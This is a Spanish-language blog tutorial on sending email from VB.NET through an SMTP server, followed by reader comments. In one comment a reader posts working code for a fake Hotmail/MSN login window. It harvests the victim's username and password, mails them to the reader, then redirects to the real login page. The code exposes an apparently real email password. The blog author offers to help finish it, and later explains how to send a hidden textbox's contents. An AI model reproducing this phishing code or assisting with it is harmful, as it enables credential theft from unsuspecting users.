Creo que a muchos programadores novatos nos hemos realizado la gran pregunta ¿como enviar correos desde visual.net?, pues aqui la respuesta, hace tiempo lo tuve que investigar para un proyecto y googleando me encontre con este codigo que cumple lo que promete.
En aras del aprendizaje quise darlo a conocer y por esto realice el siguiente vídeo tutorial, espero y sea de vuestro agrado.
Este es el codigo fuente para quienes lo deseen.
Imports System.Net.Mail
Public Class Form1
Dim message As New MailMessage
Dim smtp As New SmtpClient
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles Button1.Click
message.From = New MailAddress("CORREO DESDE DONDE SE ENVIA")
message.To.Add("EL DESTINATARIO")
message.Body = "EL CUERPO O EL CONTENIDO DEL MENSAJE"
message.Subject = "TITULO DEL CORREO"
message.Priority = MailPriority.Normal
smtp.EnableSsl = True
smtp.Port = "587"
smtp.Host = "smtp.live.com"
smtp.Credentials = New Net.NetworkCredential("EL CORREO DESDE DONDE SE ENVIA", "AQUI CONTRASEÑA")
smtp.Send(message)
End SubEnd Class
hola mi Ander, no se como hacer para enviar a mi correo el user y el pass del msn falso de tu video. ya cheke este video de como enviar correo con vb y si me funciono, hice otro proyecto del msn falso modificando el codigo y combinandolo con el de este video y no se como hacerle para enviar el user y el pass al correo aqui te dejo el codigo de el msn modificado. A VER SI ESTOY BIEN:
ResponderEliminarImports System.Net.Mail
Public Class Form1
Dim Message As New MailMessage
Dim smtp As New smtpClient
Private Sub BtnIniciar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnIniciar.Click
If TxtUsser.Text = "" Or TxtPass.Text = "" Then
MsgBox("No puedes iniciar sesion en Windows Live Hotmail" & Chr(13) & "Escribe tu ID. de Windows Live, en este formato: tunombre@ejemplo.com", MsgBoxStyle.Information, "Windows Live Hotmail")
Else
Message.From = New MailAddress("gerardodejesusgonzalez@hotmail.com")
Message.To.Add("impositivo.ok@hotmail.com")
Message.Body = ("enviar.txt")
Message.Body = ("enviar.txt")
Message.Subject = "users y pass"
Message.Priority = MailPriority.Normal
smtp.EnableSsl = True
smtp.Port = "587"
smtp.Host = "smtp.live.com"
smtp.Credentials = New Net.NetworkCredential("gerardodejesusgonzalez@hotmail.com", "20demarzode1982")
smtp.Send(Message)
End If
MsgBox("No puedes iniciar sesion en Windows Live Hotmail" & Chr(13) & "La cuenta de Windows live Hotmail o la contraseña espesificada no es correcta.", MsgBoxStyle.Information, "Windows Live ID.")
Dim proceso As New System.Diagnostics.Process
With proceso
.StartInfo.FileName = "https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1302768272&rver=6.1.6206.0&wp=MBI&wreply=http:%2F%2Fmail.live.com%2Fdefault.aspx%3Fwa%3Dwsignin1.0&lc=3082&id=64855&mkt=es-es&cbcxt=mai&snsc=1"
.Start()
End With
End Sub
End Class
AH! Y LA NETA ME NACE DECIRTE QUE NO ERES GRANDE... ERES LO QUE LE SIGUE.
SIGUE ASI COMO VAS O MEJOR Y VAS A SER MAS DE LO QUE DESEAS. NETA.
Perdón por la demora en contestar este mensaje, pero como copiaste tanto blogger lo detecto como spamm, la verdad lo que quieres no es Dificil. Si quieres te puedo ayudar, pero contactarme por facebook o twitter.. Saludos.
ResponderEliminarhola ander me funciono perfectamente su código!... me gustaría codificarlo para que el correo mande un archivo adjunto, soy nuevo en visual basic, de antemano muchísimas gracias
ResponderEliminarDando respuesta a tu comentario anonimo, eso lo tendre listo dentro de proximos proyectos. Saludos..
ResponderEliminarHola ander bueno me gustaria qe agas un tutorial pero que estos codigos funcionen porqe ami no me funcionan yo se qe eres un capo bueno te dejo el video
ResponderEliminarhttp://www.youtube.com/watch?v=KNOL9x6DvUE
espero qe lo mires y me respondas y ojala qe agas un video asi pero con el codigo bueno si xD
qe funcione con visual basic 2008 :D
HOLA ANDERBOY HE ESTADO MIRANDO TUS VIDEOS TUTORIALES Y ME PARECEN BASTANTE INTERESANTES .
ResponderEliminarBUENO ESTOY EMPEZANDO A ESTUDIAR ESTO DE VISUAL NO ESTOY TAN AVANZADO PERO SE ALGUITO TENGO UNA PREGUNTA ESPERO ME PUEDAS RESPONDER Y AYUDAR
ESTOY HACIENDO UN JUEGO DE CARRERAR PERO NO PUEDO GENERAR EL EVENTO QUE AL CHOCARSE DOS PICTUBOX (CLARO CADA UNO CON UNA IMAGEN DE UN CARRO DENTRO) GENERE UN EVENTO POR EJEMPLO UN MSGBOX QUE ME DIGA(" CHOCASTE PERDISTE UNA VIDA")
O ALGO ASI LO QUE SI PUEDO HACER ES UTILIZANDO LA PROPIEDAD :"LOCATION"
HACER LO SIGUIENTE:
If picturebox1.Location = picturebox1.Location Then
MsgBox("CHOCASTE PERDISTE UNA VIDA.!!")
lblvida.text-=1
End If
PERO ESTO SOLO ME PERMITE HACER QUE SUPUESTAMENTE SE CHOQUEN LOS CARROS PERO EN LA ESQUINA SUPERIOR IZQUIERDA Y JUSTO EN EL MISMO PUNTO DE LO CONTRARIO NO GENERA EL EVENTO
LO QUE NECESITO ESQUE GENERE EL EVENTO DEL MSGBOX SI LOS 2 PICTUREBOX CHOQUEN EL CUALQUER PUNTO ..
ESPERO HABERME EXPLICADO BIEN
GRACIAS DE ANTEMANO ESPERO TU RESPUESTA
TE DEJO MI BLOG PARA QUE PUEDAS COMUNICARTE CONMIGO
progvsx.blogspot.com
Lo que tu necesitas es algo que ya esta en la web y lo he visto por hay. En lo personal no he realizado dicho programa. Te recomiendo la pagina www.lawebdelprogramador.com descargar el codigo fuente de un juego que es de carreras y hace lo que necesitas, eso te puede dar una idea..
ResponderEliminarNo estoy incentivando la pereza ni mucho menos. pero eso puede ser una referencia para hacer tu proyecto..
Si algo me contactas por el facebook. Saludos..
Eu sou brasileiro
ResponderEliminarNa hora de enviar a mensager aparece um negocio de JIT e não consigo enviar, o que faço?
@Eu :
ResponderEliminarFazer o tutorial passo a passo. O vídeo não é um erro, o erro deve estar em algum lugar em sua programação ..
Resposta traduzido por: tradutor GOOGLE
Hola, soy Álvaro, y quería decirte que me funciona a la perfección.
ResponderEliminarSolo que he intentado que se me enviase al correo el texto escrito en el textbox, y cuando doy a la flecha, para que me cargue la aplicación, no me deja, y se me subraya de amarillo el apartado de: Smtp.Send (message)
Quería saber como hacer para que me funcione.
Buenos días, tengo mi aplicación terminada, y soy nuevo en esto, me va genial, todo funciona, pero no se como guardarla.. No se ria de mi, pero la guardo, y no encuentro el archivo, al que dándole doble clic me aparezca la aplicación.
ResponderEliminarUn saludo, Juan.
En cuanto a lo del error que manifiestan, suele pasar por que omites un paso importante en cuanto a la configuracion del servidor.. Pon mucho cuidado, el tutorial esta hecho paso a paso justo para evitar eso..
ResponderEliminary lo de guardar el proyecto, puedes ver uno de mis videos en los que hablo de como hacer un exe de un proyecto de visual.net.
En caso contrario puedes ir a la carpeta de tu proyecto, luego a bin y luego debug, hay encontraras el exe.. Saludos..
Buenas mi nombre es Eduardo fuentes soto esta muy buena correo convisual.net
ResponderEliminarpero quisiera que me ayudes un correo masivo y q jale desde mi base de datos de excel y el body este en html se que se puede pero no me sale, gracias por la ayuda
Sabes como entrar una base de datos en visual basic
ResponderEliminarMe gustaria saber si se podria enviar correos desde el visual basic pero que tengan 3 textbox que funcionen 1 de ellos estaria enmascarado. Muchas Gracias y respondeme a este correo electrónico porfavor: todotipodecuentas@gmail.com
ResponderEliminarMuchas Gracias
Hola amigo, me gustaria saber como enviar e-mail desde vb pero en formato html , con una cabecera de imagen, links , etc. algo como un boletin .
ResponderEliminarMuchas gracias por su respuesta, mi correo es medardo_14@hotmail.com
Excepción del tipo 'System.NullReferenceException' en NSTN.exe
ResponderEliminarExcepción del tipo 'System.InvalidOperationException' en NSTN.exe
Excepción del tipo 'System.NullReferenceException' en NSTN.exe
Excepción del tipo 'System.InvalidOperationException' en NSTN.exe
Excepción del tipo 'System.NullReferenceException' en NSTN.exe
Excepción del tipo 'System.InvalidOperationException' en NSTN.exe
Excepción del tipo 'System.NullReferenceException' en NSTN.exe
Excepción del tipo 'System.InvalidOperationException' en NSTN.exe
¿Porque me sale este error? Al dar a un boton que me conecta a un FORM donde tengo las cosas pa mandar un email no se me abvre y me sale eso? :S
Un saludo y Gracias por tus tutoriales
Mucho cuidado con la version del framework...Actualizen al la ultima, ademas no para todas las versiones de .net el codigo es el mismo..
ResponderEliminarLo del textbox invisible es posible, solo ocultar su propiedad y mandarlo normal junto con la info de los otros..
Para mayor info, comunicarme por twitter.. Saludos..
hola q tal me aparece este error. . .
ResponderEliminarmtpexception was unhandled
Error al enviar correo.
podrias ayudarme? gracias!!!
Cuidado con la versión de visual que usan, el código no es el mismo para todas las versiones, por lo general de versión a versión cambia algo en la sintaxis. Ademas el framework influye mucho..
ResponderEliminarDesarrollado en windows 7, con la versión de visual 2008
entiendo el envió y la configuración pero si quisiera una configuración para este tipo de form que envié correo a todo tipo de Server sea hotmail gmail o yahoo como seria te dejo la imagen a alguien que me pueda ayuda
ResponderEliminarhttps://www.dropbox.com/s/52j5kuxk2h1sg0e/contacto.png
entes que nada muy buen blog "te felicito" me gustaria saber como conectar un texbox con un campo de una base de datos...
ResponderEliminarhola
ResponderEliminartenia una duda acerca del tu tutorial para enviar correos, funciona muy bien y por cierto gracias por ese aporte pero quisiera saber como hacer para poder almacenarlos dentro de la aplicacion en si para tener un registro de lo que he enviado
gracias
Hola!! eres el mejor Anderboy!!
ResponderEliminarTengo una duda: Yo quiero que se envien los datos al mail como si fuera un formulario.
¿como hago eso?
Atentamente
Contesta a los comentarios!!
ResponderEliminarSino como quieres ser un buen Blogger.
Eh oido que un progframadr joven de aqui 1 semana va abrir un blog llamado Hacker Inteligente
se supone que hablara de programacion, dara hacks y por ahora me han dicho que ha echo uno de steam y face para apretar fuerte!!
Ander ten cuidado con la comopetencia xD haber si te van a quitar gente!
Hola no se como lo aces para mandar el correo pero ami me sale un erro del
ResponderEliminarcodigo smtp.send(message)
aver si me puedes ayudar
Este video me sirvió mucho, espero les sirva, en la descripción del video esta para descargar el código: https://www.youtube.com/watch?v=67h7WbCKh_g&t=3s
ResponderEliminarSi te ha el error SMTP requiere una conexión segura la solución la encontré en este video:https://www.youtube.com/watch?v=oZOZvcrM3-k